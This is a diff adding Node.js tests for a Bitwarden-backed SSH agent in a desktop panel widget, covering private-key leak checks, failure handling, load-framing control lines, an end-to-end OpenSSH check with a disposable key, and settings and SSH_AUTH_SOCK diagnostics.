fs.unlinkSync(fifoPath)
|
||||
}
|
||||
|
||||
// A FIFO nobody drains. The branch opens O_RDWR so it never blocks on open,
|
||||
// and the payload here fits the pipe buffer, so the list is unaffected.
|
||||
{
|
||||
execFileSync("mkfifo", ["-m", "600", fifoPath])
|
||||
const run = runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: LOAD_ID })
|
||||
eq("an undrained FIFO still loads the item list", run.status, 0)
|
||||
check("an undrained FIFO still produces the full envelope",
|
||||
JSON.parse(run.stdout).sshKeys.length === 2, run.stdout.slice(0, 200))
|
||||
fs.unlinkSync(fifoPath)
|
||||
}
|
||||
|
||||
// A missing nonce must not produce a payload the companion would accept.
|
||||
{
|
||||
const run = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: true, runtimeDir: runtimeDir }, { [Model.loadIdEnvVar()]: "" }))
|
||||
eq("a missing nonce still loads the item list", run.result.status, 0)
|
||||
check("a missing nonce never yields a usable payload",
|
||||
run.fifo === "" || !Model.isValidLoadId((JSON.parse(run.fifo || "{}").loadId) || ""),
|
||||
run.fifo.slice(0, 200))
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Whole-pipeline failures publish no partial private set
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
// Input the filters reject: the branch cannot even construct a payload, so
|
||||
// nothing usable reaches the FIFO in the first place.
|
||||
for (const [label, contents] of [
|
||||
["malformed JSON", "{ this is not json"],
|
||||
["a truncated array", '[{"object":"item","id":"a","type":1,'],
|
||||
["a non-array document", '{"items":[]}']
|
||||
]) {
|
||||
const run = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
|
||||
{ [Model.loadIdEnvVar()]: LOAD_ID }, contents))
|
||||
check(`${label} fails the whole read`, run.result.status !== 0, `status ${run.result.status}`)
|
||||
check(`${label} produces no item list`, run.result.stdout.trim() === "", run.result.stdout.slice(0, 200))
|
||||
check(`${label} publishes no private key`, run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked")
|
||||
check(`${label} publishes no complete payload`, (() => {
|
||||
if (run.fifo.trim() === "") return true
|
||||
try { JSON.parse(run.fifo); return false } catch (e) { return true }
|
||||
})(), run.fifo.slice(0, 200))
|
||||
}
|
||||
|
||||
// A `bw` that streams a complete, valid document and *then* exits nonzero is
|
||||
// a different shape of failure: the branch has already forwarded well-formed
|
||||
// bytes by the time the exit status exists, and no in-stream check could have
|
||||
// known. The FIFO is deliberately not the boundary here -- `key_load_end` is.
|
||||
// The companion holds every candidate unpublished until that line arrives, and
|
||||
// discards it on `failed`, so what matters is that the panel reports failure.
|
||||
{
|
||||
const run = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
|
||||
{ [Model.loadIdEnvVar()]: LOAD_ID, QSBW_BW_EXIT: "1" }, JSON.stringify(fixture)))
|
||||
check("a failing bw fails the whole read", run.result.status !== 0, `status ${run.result.status}`)
|
||||
check("a failing bw produces no item list", run.result.stdout.trim() === "", run.result.stdout.slice(0, 200))
|
||||
eq("a failed read is framed as a failed load", Model.sshAgentLoadEndLine(7, false),
|
||||
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n")
|
||||
const panelSrc = fs.readFileSync(path.join(repoRoot, "Panel.qml"), "utf8")
|
||||
check("the panel closes every load window with the read's real outcome",
|
||||
/endSshAgentLoad\(exitCode === 0\)/.test(panelSrc), "the exit handler does not close the load window")
|
||||
check("the panel closes the window on paths that abandon a load",
|
||||
/endSshAgentLoad\(false\)/.test(panelSrc), "no path reports a failed load")
|
||||
check("closing the window writes the versioned key_load_end line",
|
||||
/sshAgentProc\.write\(Model\.sshAgentLoadEndLine\(/.test(panelSrc),
|
||||
"key_load_end is never sent to the helper")
|
||||
// The cancel itself lives in the lock transition (see
|
||||
// tests/ssh-agent-lifecycle.test.js); what matters here is that locking
|
||||
// goes through it rather than leaving a fan-out read running.
|
||||
check("a lock abandons the in-flight load",
|
||||
/function lockVault\(\)[\s\S]{0,600}?applySshAgentLifecycle\("lock"\)/.test(panelSrc)
|
||||
&& /function applySshAgentLifecycle\(event\)[\s\S]{0,900}?action\.cancelLoad\) cancelSshAgentLoad\(\)/.test(panelSrc),
|
||||
"locking does not cancel the in-flight load")
|
||||
check("a failed fan-out read is retried once without the branch",
|
||||
/listRetriedWithoutAgent = true[\s\S]{0,200}?startVaultListRead\(true\)/.test(panelSrc),
|
||||
"no retry without the agent branch")
|
||||
}
|
||||
|
||||
// An ordinary item carrying an SSH subtree still rejects the whole read, with
|
||||
// the agent branch present as well as without it.
|
||||
{
|
||||
const crossed = [{ object: "item", id: "x", type: 1, name: "Crossed",
|
||||
login: { username: "u" }, sshKey: { privateKey: privatePem } }]
|
||||
const run = withFifoReader(() =>
|
||||
runPipeline({ agentBranch: true, runtimeDir: runtimeDir },
|
||||
{ [Model.loadIdEnvVar()]: LOAD_ID }, JSON.stringify(crossed)))
|
||||
check("a cross-typed item rejects the whole read", run.result.status !== 0, `status ${run.result.status}`)
|
||||
check("a cross-typed item leaks no private key to QML",
|
||||
run.result.stdout.indexOf(PRIVATE_MARKER) < 0, "leaked")
|
||||
check("a cross-typed item leaks no private key to the FIFO",
|
||||
run.fifo.indexOf(PRIVATE_MARKER) < 0, "leaked")
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Lock has to be able to stop the whole group
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
check("the fan-out pipeline runs under process-group supervision",
|
||||
agentCommandText.indexOf("set -m") >= 0 && agentCommandText.indexOf("kill -TERM") >= 0,
|
||||
agentCommandText.slice(0, 300))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Control lines that frame a load
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("key_load_begin is a versioned v1 line", Model.sshAgentLoadBeginLine(7, LOAD_ID),
|
||||
JSON.stringify({ v: 1, type: "key_load_begin", epoch: 7, loadId: LOAD_ID }) + "\n")
|
||||
eq("key_load_end reports success", Model.sshAgentLoadEndLine(7, true),
|
||||
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "ok" }) + "\n")
|
||||
eq("key_load_end reports failure", Model.sshAgentLoadEndLine(7, false),
|
||||
JSON.stringify({ v: 1, type: "key_load_end", epoch: 7, status: "failed" }) + "\n")
|
||||
eq("vault_locked is a versioned v1 line", Model.sshAgentVaultLockedLine(7),
|
||||
JSON.stringify({ v: 1, type: "vault_locked", epoch: 7 }) + "\n")
|
||||
eq("vault_logged_out is a versioned v1 line", Model.sshAgentLoggedOutLine(),
|
||||
JSON.stringify({ v: 1, type: "vault_logged_out" }) + "\n")
|
||||
eq("an invalid nonce yields no begin line", Model.sshAgentLoadBeginLine(7, "nope"), "")
|
||||
|
||||
// No control line may ever carry key material or a session token.
|
||||
for (const line of [Model.sshAgentLoadBeginLine(7, LOAD_ID), Model.sshAgentLoadEndLine(7, true),
|
||||
Model.sshAgentVaultLockedLine(7), Model.sshAgentLoggedOutLine()]) {
|
||||
check("no control line carries private material",
|
||||
line.indexOf(PRIVATE_MARKER) < 0 && line.indexOf("BW_SESSION") < 0 && line.indexOf("privateKey") < 0, line)
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The whole data plane, end to end
|
||||
// -------------------------------------------------------------------------
|
||||
//
|
||||
// Everything above tests one boundary at a time. This runs the real thing:
|
||||
// the real pipeline writes to the real companion's FIFO, the companion
|
||||
// validates and publishes, and the real OpenSSH client lists the key back.
|
||||
// It is the only test that would catch the projection and the decoder
|
||||
// disagreeing about a field name, because both sides are real here.
|
||||
const helperBin = path.join(repoRoot, "agent", "target", "debug", "qs-bitwarden-ssh-agent")
|
||||
|
||||
function endToEnd(done) {
|
||||
if (!fs.existsSync(helperBin) || !fs.existsSync("/usr/bin/ssh-keygen")) {
|
||||
failures.push("the end-to-end check needs the built helper and /usr/bin/ssh-keygen\n "
|
||||
+ "build it with: cargo build --manifest-path agent/Cargo.toml --locked")
|
||||
return done()
|
||||
}
|
||||
|
||||
const e2eDir = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-e2e-"))
|
||||
const e2eRuntime = path.join(e2eDir, "run")
|
||||
fs.mkdirSync(e2eRuntime, { mode: 0o700 })
|
||||
const e2eLoadId = "aaaabbbbccccddddeeeeffff00001111"
|
||||
|
||||
// A disposable key that exists only for the life of this test.
|
||||
const keyPath = path.join(e2eDir, "id_ed25519")
|
||||
execFileSync("/usr/bin/ssh-keygen", ["-q", "-t", "ed25519", "-N", "", "-C", "e2e", "-f", keyPath])
|
||||
const priv = fs.readFileSync(keyPath, "utf8")
|
||||
const pub = fs.readFileSync(keyPath + ".pub", "utf8").trim()
|
||||
const fingerprint = execFileSync("/usr/bin/ssh-keygen", ["-lf", keyPath + ".pub"],
|
||||
{ encoding: "utf8" }).split(" ")[1]
|
||||
|
||||
const e2eFixture = path.join(e2eDir, "items.json")
|
||||
fs.writeFileSync(e2eFixture, JSON.stringify([
|
||||
{ object: "item", id: "login-1", type: 1, name: "Login", login: { username: "u" } },
|
||||
{ object: "item", id: "ssh-1", type: 5, name: "Disposable", reprompt: 0,
|
||||
sshKey: { privateKey: priv, publicKey: pub, fingerprint: fingerprint } }
|
||||
]))
|
||||
fs.writeFileSync(path.join(e2eDir, "bw"), [
|
||||
"#!/usr/bin/env bash",
|
||||
'if [ "$1" = "--version" ]; then echo 2026.2.0; exit 0; fi',
|
||||
'cat -- "$QSBW_FIXTURE"', ""
|
||||
].join("\n"), { mode: 0o755 })
|
||||
|
||||
const { spawn } = require("child_process")
|
||||
const helper = spawn(helperBin, [], { env: { XDG_RUNTIME_DIR: e2eRuntime }, stdio: ["pipe", "pipe", "pipe"] })
|
||||
let buffered = ""
|
||||
let socketPath = ""
|
||||
let settled = false
|
||||
const finish = () => {
|
||||
if (settled) return
|
||||
settled = true
|
||||
clearTimeout(guard)
|
||||
try { helper.kill("SIGKILL") } catch (e) {}
|
||||
try { fs.rmSync(e2eDir, { recursive: true, force: true }) } catch (e) {}
|
||||
done()
|
||||
}
|
||||
const guard = setTimeout(() => {
|
||||
failures.push("the end-to-end load timed out\n the companion never reported keys_loaded")
|
||||
finish()
|
||||
}, 30000)
|
||||
|
||||
helper.stdin.write(Model.sshAgentHelloLine())
|
||||
helper.stdout.on("data", chunk => {
|
||||
buffered += chunk.toString("utf8")
|
||||
let nl
|
||||
while ((nl = buffered.indexOf("\n")) >= 0) {
|
||||
const line = buffered.slice(0, nl)
|
||||
buffered = buffered.slice(nl + 1)
|
||||
let message
|
||||
try { message = JSON.parse(line) } catch (e) {
|
||||
failures.push("the companion emitted an unparseable line\n " + line)
|
||||
return finish()
|
||||
}
|
||||
|
||||
if (message.type === "ready") {
|
||||
socketPath = message.socketPath
|
||||
// Arm the window before anything can write to the FIFO.
|
||||
helper.stdin.write(Model.sshAgentLoadBeginLine(1, e2eLoadId))
|
||||
const command = Model.sanitizedListCommand({ agentBranch: true })
|
||||
const run = spawnSync(command[0], command.slice(1), {
|
||||
env: { PATH: e2eDir + path.delimiter + process.env.PATH, QSBW_FIXTURE: e2eFixture,
|
||||
XDG_RUNTIME_DIR: e2eRuntime, [Model.loadIdEnvVar()]: e2eLoadId },
|
||||
encoding: "utf8", maxBuffer: 20 * 1024 * 1024
|
||||
})
|
||||
eq("the end-to-end pipeline succeeds", run.status, 0)
|
||||
check("the end-to-end read still renders the panel envelope",
|
||||
run.status === 0 && JSON.parse(run.stdout).sshKeys.length === 1, String(run.stdout).slice(0, 200))
|
||||
check("no private key reaches QML in the end-to-end read",
|
||||
String(run.stdout).indexOf("PRIVATE KEY") < 0, "leaked")
|
||||
if (run.status !== 0) return finish()
|
||||
helper.stdin.write(Model.sshAgentLoadEndLine(1, true))
|
||||
}
|
||||
|
||||
if (message.type === "keys_loaded") {
|
||||
eq("the companion published exactly the eligible key", message.keyCount, 1)
|
||||
eq("the companion published it for the load's epoch", message.epoch, 1)
|
||||
const listed = spawnSync("/usr/bin/ssh-add", ["-L"], {
|
||||
env: { SSH_AUTH_SOCK: socketPath, PATH: "/usr/bin", HOME: os.homedir() }, encoding: "utf8"
|
||||
})
|
||||
eq("a real OpenSSH client lists the loaded identity", listed.status, 0)
|
||||
eq("the agent offers exactly the key the vault held",
|
||||
String(listed.stdout).trim().split(" ").slice(0, 2).join(" "),
|
||||
pub.split(" ").slice(0, 2).join(" "))
|
||||
return finish()
|
||||
}
|
||||
}
|
||||
})
|
||||
helper.on("error", () => {
|
||||
failures.push("the companion could not be started\n " + helperBin)
|
||||
finish()
|
||||
})
|
||||
helper.on("exit", code => {
|
||||
if (settled) return
|
||||
failures.push("the companion exited before publishing\n exit " + code)
|
||||
finish()
|
||||
})
|
||||
}
|
||||
|
||||
endToEnd(() => {
|
||||
try { fs.rmSync(tempDir, { recursive: true, force: true }) } catch (e) {}
|
||||
if (failures.length) {
|
||||
console.error(`\n${failures.length} failed, ${pass} passed\n`)
|
||||
failures.forEach(f => console.error(` FAIL ${f}`))
|
||||
process.exit(1)
|
||||
}
|
||||
console.log(`ssh-agent-pipeline: ${pass} passed`)
|
||||
})
|
||||
@@ -0,0 +1,467 @@
|
||||
#!/usr/bin/env node
|
||||
// The SSH agent is opt-in, and "opted in" is not the same as "usable". These
|
||||
// tests cover the four settings, the explicit disabled/enabled/error setup
|
||||
// state, the managed UWSM fragment lifecycle, and the advisory SSH_AUTH_SOCK
|
||||
// diagnostics -- which must never decide whether the companion runs.
|
||||
//
|
||||
// node tests/ssh-agent-setup.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const repoRoot = path.join(__dirname, "..")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(repoRoot, "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.SETTINGS_SCHEMA = SETTINGS_SCHEMA
|
||||
exports.SETTINGS_GROUPS = SETTINGS_GROUPS
|
||||
exports.groupedSettings = groupedSettings
|
||||
exports.settingSchemaEntry = settingSchemaEntry
|
||||
exports.boolSetting = boolSetting
|
||||
exports.intSetting = intSetting
|
||||
exports.sshAgentSetupState = sshAgentSetupState
|
||||
exports.sshAgentApprovalWindowMax = sshAgentApprovalWindowMax
|
||||
exports.visibleSettings = visibleSettings
|
||||
exports.sshUiAvailable = sshUiAvailable
|
||||
exports.sshAgentSocketPath = sshAgentSocketPath
|
||||
exports.uwsmFragmentDisplayPath = uwsmFragmentDisplayPath
|
||||
exports.uwsmFragmentContent = uwsmFragmentContent
|
||||
exports.uwsmInspectCommand = uwsmInspectCommand
|
||||
exports.uwsmWriteCommand = uwsmWriteCommand
|
||||
exports.uwsmRemoveCommand = uwsmRemoveCommand
|
||||
exports.parseUwsmInspection = parseUwsmInspection
|
||||
exports.parseUwsmActionResult = parseUwsmActionResult
|
||||
exports.sshAuthSockDiagnostic = sshAuthSockDiagnostic
|
||||
exports.sshAuthSockTerminalCheck = sshAuthSockTerminalCheck
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
const eq = (label, actual, expected) =>
|
||||
check(label, actual === expected, `expected ${JSON.stringify(expected)}, got ${JSON.stringify(actual)}`)
|
||||
|
||||
const manifest = JSON.parse(fs.readFileSync(path.join(repoRoot, "manifest.json"), "utf8"))
|
||||
const manifestSchema = manifest.barWidget.schema
|
||||
const manifestDefaults = manifest.barWidget.defaults
|
||||
const manifestEntry = key => manifestSchema.find(e => e.key === key)
|
||||
const modelEntry = key => Model.settingSchemaEntry(key)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The four settings, consistent across manifest, model schema and defaults
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const expected = [
|
||||
{ key: "sshAgentEnabled", type: "bool", manifestType: "boolean", defaultValue: false },
|
||||
{ key: "sshAgentUnlockOnDemand", type: "bool", manifestType: "boolean", defaultValue: false },
|
||||
{ key: "sshAgentApprovalPopup", type: "bool", manifestType: "boolean", defaultValue: true },
|
||||
{ key: "sshAgentApprovalWindowSec", type: "int", manifestType: "integer", defaultValue: 120 }
|
||||
]
|
||||
|
||||
for (const want of expected) {
|
||||
const m = manifestEntry(want.key)
|
||||
const s = modelEntry(want.key)
|
||||
check(`manifest declares ${want.key}`, !!m, "missing from manifest.barWidget.schema")
|
||||
check(`model schema declares ${want.key}`, !!s, "missing from SETTINGS_SCHEMA")
|
||||
if (!m || !s) continue
|
||||
eq(`${want.key} manifest type`, m.type, want.manifestType)
|
||||
eq(`${want.key} model type`, s.type, want.type)
|
||||
eq(`${want.key} manifest default`, m.defaultValue, want.defaultValue)
|
||||
eq(`${want.key} model default`, s.defaultValue, want.defaultValue)
|
||||
eq(`${want.key} defaults block`, manifestDefaults[want.key], want.defaultValue)
|
||||
check(`${want.key} has a description in the manifest`,
|
||||
typeof m.description === "string" && m.description.length > 0, JSON.stringify(m))
|
||||
check(`${want.key} has a description in the model schema`,
|
||||
typeof s.description === "string" && s.description.length > 0, JSON.stringify(s))
|
||||
}
|
||||
|
||||
// The window is a bounded grant length, and the bound is the design's, not a
|
||||
// number the settings screen happens to draw.
|
||||
const windowManifest = manifestEntry("sshAgentApprovalWindowSec")
|
||||
const windowModel = modelEntry("sshAgentApprovalWindowSec")
|
||||
eq("approval window minimum is 0", windowModel && windowModel.min, 0)
|
||||
eq("approval window maximum is 900", windowModel && windowModel.max, Model.sshAgentApprovalWindowMax())
|
||||
eq("approval window maximum is the documented cap", Model.sshAgentApprovalWindowMax(), 900)
|
||||
eq("manifest agrees on the window minimum", windowManifest && windowManifest.min, 0)
|
||||
eq("manifest agrees on the window maximum", windowManifest && windowManifest.max, 900)
|
||||
check("the approval window says what 0 means",
|
||||
windowModel && typeof windowModel.zeroLabel === "string" && windowModel.zeroLabel.length > 0,
|
||||
JSON.stringify(windowModel))
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Reading the settings back
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
eq("the agent is off when the setting is absent", Model.boolSetting("sshAgentEnabled", undefined), false)
|
||||
eq("the agent is off when shell.json holds junk", Model.boolSetting("sshAgentEnabled", "yes please"), false)
|
||||
eq("the agent is on only for a real boolean", Model.boolSetting("sshAgentEnabled", true), true)
|
||||
eq("unlock-on-demand is off by default", Model.boolSetting("sshAgentUnlockOnDemand", undefined), false)
|
||||
eq("the centered approval popup is on by default", Model.boolSetting("sshAgentApprovalPopup", undefined), true)
|
||||
eq("the centered approval popup accepts false", Model.boolSetting("sshAgentApprovalPopup", false), false)
|
||||
eq("the centered approval popup rejects junk", Model.boolSetting("sshAgentApprovalPopup", "yes"), true)
|
||||
|
||||
eq("the approval window defaults to 120", Model.intSetting("sshAgentApprovalWindowSec", undefined), 120)
|
||||
eq("the approval window keeps a valid value", Model.intSetting("sshAgentApprovalWindowSec", 300), 300)
|
||||
eq("the approval window clamps above the cap", Model.intSetting("sshAgentApprovalWindowSec", 99999), 900)
|
||||
eq("0 disables grants rather than reading as unset", Model.intSetting("sshAgentApprovalWindowSec", 0), 0)
|
||||
eq("a negative window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", -30), 120)
|
||||
eq("a non-numeric window falls back to the default", Model.intSetting("sshAgentApprovalWindowSec", "soon"), 120)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// The SSH Agent settings group
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const sshGroup = Model.SETTINGS_GROUPS.find(g => g.id === "sshAgent")
|
||||
check("there is an SSH Agent settings group", !!sshGroup, JSON.stringify(Model.SETTINGS_GROUPS))
|
||||
const grouped = Model.groupedSettings()
|
||||
eq("grouping still covers every schema entry", grouped.length, Model.SETTINGS_SCHEMA.length)
|
||||
const sshRows = grouped.filter(e => e.group === "sshAgent")
|
||||
eq("the SSH Agent group holds exactly the four settings", sshRows.length, 4)
|
||||
eq("the group header is drawn once", sshRows.filter(e => e.groupLabel).length, 1)
|
||||
eq("the enabled toggle leads the group", sshRows[0].key, "sshAgentEnabled")
|
||||
check("grouping did not mutate the schema",
|
||||
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined), "schema was mutated")
|
||||
|
||||
// The SSH settings are only offered once the dependency probe has confirmed a
|
||||
// CLI that can decrypt SSH key items -- the same gate the SSH type filter
|
||||
// uses. Offering a toggle that cannot work is worse than not offering it.
|
||||
const supportedDeps = { items: [], sshCliStatus: "supported" }
|
||||
const oldDeps = { items: [], sshCliStatus: "unsupported" }
|
||||
const unknownDeps = { items: [], sshCliStatus: "unknown" }
|
||||
|
||||
const shown = Model.visibleSettings(supportedDeps, true)
|
||||
eq("a supported CLI shows every setting",
|
||||
shown.filter(e => e.kind === "setting").length, Model.SETTINGS_SCHEMA.length)
|
||||
check("a supported CLI shows the SSH group header",
|
||||
shown.filter(e => e.kind === "group" && e.group === "sshAgent").length === 1, "no header")
|
||||
|
||||
for (const [label, deps, checked] of [
|
||||
["an unsupported CLI", oldDeps, true],
|
||||
["an unreadable CLI version", unknownDeps, true],
|
||||
["an unfinished probe", supportedDeps, false]
|
||||
]) {
|
||||
// Nothing collapsed, so every remaining setting is present as a row. The
|
||||
// list also carries one heading row per group now, which is what makes a
|
||||
// group foldable; the guarantee being checked is unchanged -- a hidden
|
||||
// group takes its heading with it, and each group that remains gets
|
||||
// exactly one.
|
||||
const rows = Model.visibleSettings(deps, checked)
|
||||
const settings = rows.filter(e => e.kind === "setting")
|
||||
const headers = rows.filter(e => e.kind === "group")
|
||||
eq(`${label} hides the SSH settings`, rows.filter(e => e.group === "sshAgent").length, 0)
|
||||
eq(`${label} keeps every other setting`, settings.length, Model.SETTINGS_SCHEMA.length - 4)
|
||||
check(`${label} still draws every remaining group header`,
|
||||
headers.length === new Set(settings.map(e => e.group)).size,
|
||||
JSON.stringify(headers.map(e => e.label)))
|
||||
check(`${label} draws no heading for a group it hid`,
|
||||
headers.every(h => h.group !== "sshAgent"),
|
||||
JSON.stringify(headers.map(e => e.group)))
|
||||
}
|
||||
|
||||
check("hiding the group does not mutate the schema",
|
||||
Model.SETTINGS_SCHEMA.every(e => e.groupLabel === undefined && e.kind === undefined),
|
||||
"schema was mutated")
|
||||
|
||||
// --- every section is drawn, always -----------------------------------------
|
||||
//
|
||||
// The settings screen had collapsible sections for a while. They went: three
|
||||
// groups of three, seven and four rows do not need folding, and a fold is one
|
||||
// more state to be in and one more thing to leave shut by accident.
|
||||
|
||||
const allRows = Model.visibleSettings(supportedDeps, true)
|
||||
check("every setting in the schema is drawn",
|
||||
allRows.filter(e => e.kind === "setting").length === Model.SETTINGS_SCHEMA.length,
|
||||
`${allRows.filter(e => e.kind === "setting").length} of ${Model.SETTINGS_SCHEMA.length}`)
|
||||
check("each group is headed exactly once",
|
||||
allRows.filter(e => e.kind === "group").length
|
||||
=== new Set(allRows.filter(e => e.kind === "setting").map(e => e.group)).size,
|
||||
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.label)))
|
||||
check("a heading comes before the settings it heads",
|
||||
(() => {
|
||||
let seen = null
|
||||
return allRows.every(e => {
|
||||
if (e.kind === "group") { seen = e.group; return true }
|
||||
return e.group === seen
|
||||
})
|
||||
})(), JSON.stringify(allRows.map(e => e.kind === "group" ? `[${e.group}]` : e.group)))
|
||||
check("groups appear in the order the group list declares",
|
||||
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group))
|
||||
=== JSON.stringify(Model.SETTINGS_GROUPS.map(g => g.id)),
|
||||
JSON.stringify(allRows.filter(e => e.kind === "group").map(e => e.group)))
|
||||
|
||||
// --- the status block belongs to its own section ----------------------------
|
||||
//
|
||||
// The SSH agent's status and routing block used to be drawn after all four
|
||||
// setting groups. That was survivable while nothing folded; with folding it
|
||||
// would leave a collapsed SSH Agent section with its status still on screen,
|
||||
// attached to nothing above it.
|
||||
|
||||
check("each group's last setting is marked, so a section can extend itself",
|
||||
(() => {
|
||||
const rows = Model.visibleSettings(supportedDeps, true)
|
||||
const settings = rows.filter(e => e.kind === "setting")
|
||||
const groups = [...new Set(settings.map(e => e.group))]
|
||||
return groups.every(g => settings.filter(e => e.group === g && e.lastInGroup).length === 1)
|
||||
})(),
|
||||
JSON.stringify(Model.visibleSettings(supportedDeps, true)
|
||||
.filter(e => e.lastInGroup).map(e => `${e.group}:${e.key}`)))
|
||||
|
||||
check("the mark lands on the final setting of the group, not an earlier one",
|
||||
(() => {
|
||||
const settings = Model.visibleSettings(supportedDeps, true).filter(e => e.kind === "setting")
|
||||
const last = settings.filter(e => e.group === "sshAgent").pop()
|
||||
return last.lastInGroup === true
|
||||
})(), "the SSH group's last row is not marked")
|
||||
|
||||
const panelSrc = require("fs").readFileSync(
|
||||
require("path").join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
check("the SSH block is drawn inside the group rather than after every group",
|
||||
/active: !isGroup && modelData\.group === "sshAgent"\s*\n\s*&& modelData\.lastInGroup === true/.test(panelSrc)
|
||||
&& (panelSrc.match(/SshAgentSettings \{ panel: root \}/g) || []).length === 1,
|
||||
"expected exactly one SshAgentSettings, loaded off the group's last row")
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Disabled / enabled / error setup state
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const state = opts => Model.sshAgentSetupState(opts)
|
||||
|
||||
eq("off is disabled", state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).state,
|
||||
"disabled")
|
||||
eq("off while a helper still winds down is still disabled",
|
||||
state({ enabled: false, supervisable: false, phase: "restarting", errorCode: "MALFORMED" }).state, "disabled")
|
||||
check("disabled reports no error",
|
||||
state({ enabled: false, supervisable: false, phase: "disabled", errorCode: "" }).message.length > 0,
|
||||
"no message")
|
||||
|
||||
const running = state({ enabled: true, supervisable: true, phase: "ready", errorCode: "" })
|
||||
eq("a completed handshake is enabled", running.state, "enabled")
|
||||
eq("a running helper is not busy", running.busy, false)
|
||||
|
||||
for (const phase of ["starting", "handshaking"]) {
|
||||
const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "" })
|
||||
eq(`${phase} is still the enabled state`, s.state, "enabled")
|
||||
eq(`${phase} reports as busy`, s.busy, true)
|
||||
}
|
||||
|
||||
for (const phase of ["backoff", "restarting"]) {
|
||||
const s = state({ enabled: true, supervisable: true, phase: phase, errorCode: "EXITED" })
|
||||
eq(`${phase} after a failure is an error`, s.state, "error")
|
||||
}
|
||||
|
||||
const crashed = state({ enabled: true, supervisable: true, phase: "failed", errorCode: "CRASH_LOOP" })
|
||||
eq("a crash loop is an error", crashed.state, "error")
|
||||
check("a crash loop explains itself", crashed.message.indexOf("keeps failing") >= 0, crashed.message)
|
||||
|
||||
// XDG_RUNTIME_DIR is the one thing the companion genuinely cannot do without,
|
||||
// and the design says refuse rather than fall back to a guessable path.
|
||||
const noRuntime = state({ enabled: true, supervisable: false, phase: "disabled", errorCode: "" })
|
||||
eq("enabled with no runtime directory is an error", noRuntime.state, "error")
|
||||
check("the runtime-directory error names the cause",
|
||||
/runtime directory/i.test(noRuntime.message), noRuntime.message)
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// Client routing is never a setup state
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const routingIrrelevant = ["/run/user/1000/qs-bitwarden-cli/ssh-agent.sock", "/run/user/1000/gcr/ssh", ""]
|
||||
for (const sock of routingIrrelevant) {
|
||||
const s = state({
|
||||
enabled: true, supervisable: true, phase: "ready", errorCode: "", sshAuthSock: sock
|
||||
})
|
||||
eq(`SSH_AUTH_SOCK=${JSON.stringify(sock)} does not change the setup state`, s.state, "enabled")
|
||||
}
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// SSH_AUTH_SOCK is advisory, and says which agent the session actually has
|
||||
// -------------------------------------------------------------------------
|
||||
|
||||
const RT = "/run/user/1000"
|
||||
const ours = Model.sshAgentSocketPath(RT)
|
||||
eq("the socket path is deterministic", ours, "/run/user/1000/qs-bitwarden-cli/ssh-agent.sock")
|
||||
eq("no runtime directory means no socket path", Model.sshAgentSocketPath(""), "")
|
||||
eq("a relative runtime directory means no socket path", Model.sshAgentSocketPath("run/user/1000"), "")
|
||||
|
||||
const diag = (sock, rt) => Model.sshAuthSockDiagnostic(sock, rt === undefined ? RT : rt)
|
||||
|
||||
eq("a matching socket is reported as matching", diag(ours).state, "matches")
|
||||
eq("an unset socket is reported as unset", diag("").state, "unset")
|
||||
eq("an undefined socket is reported as unset", diag(undefined).state, "unset")
|
||||
eq("a different socket points elsewhere", diag("/run/user/1000/gcr/ssh").state, "elsewhere")
|
||||
|
||||
const owners = [
|
||||
["/run/user/1000/gcr/ssh", "GNOME Keyring"],
|
||||
["/run/user/1000/keyring/ssh", "GNOME Keyring"],
|
||||
["/home/u/.1password/agent.sock", "1Password"],
|
||||
["/run/user/1000/gnupg/S.gpg-agent.ssh", "GPG Agent"],
|
||||
["/run/user/1000/.bitwarden-ssh-agent.sock", "Bitwarden Desktop"],
|
||||
["/tmp/ssh-XXhqZ3kR/agent.4242", "OpenSSH ssh-agent"]
|
||||
]
|
||||
for (const [sock, owner] of owners) {
|
||||
const d = diag(sock)
|
||||
eq(`${sock} is attributed to ${owner}`, d.owner, owner)
|
||||
eq(`${sock} points elsewhere`, d.state, "elsewhere")
|
||||
check(`${sock} names its owner in the message`, d.message.indexOf(owner) >= 0, d.message)
|
||||
}
|
||||
|
||||
const unknownOwner = diag("/some/other/agent.sock")
|
||||
eq("an unrecognised socket still points elsewhere", unknownOwner.state, "elsewhere")
|
||||
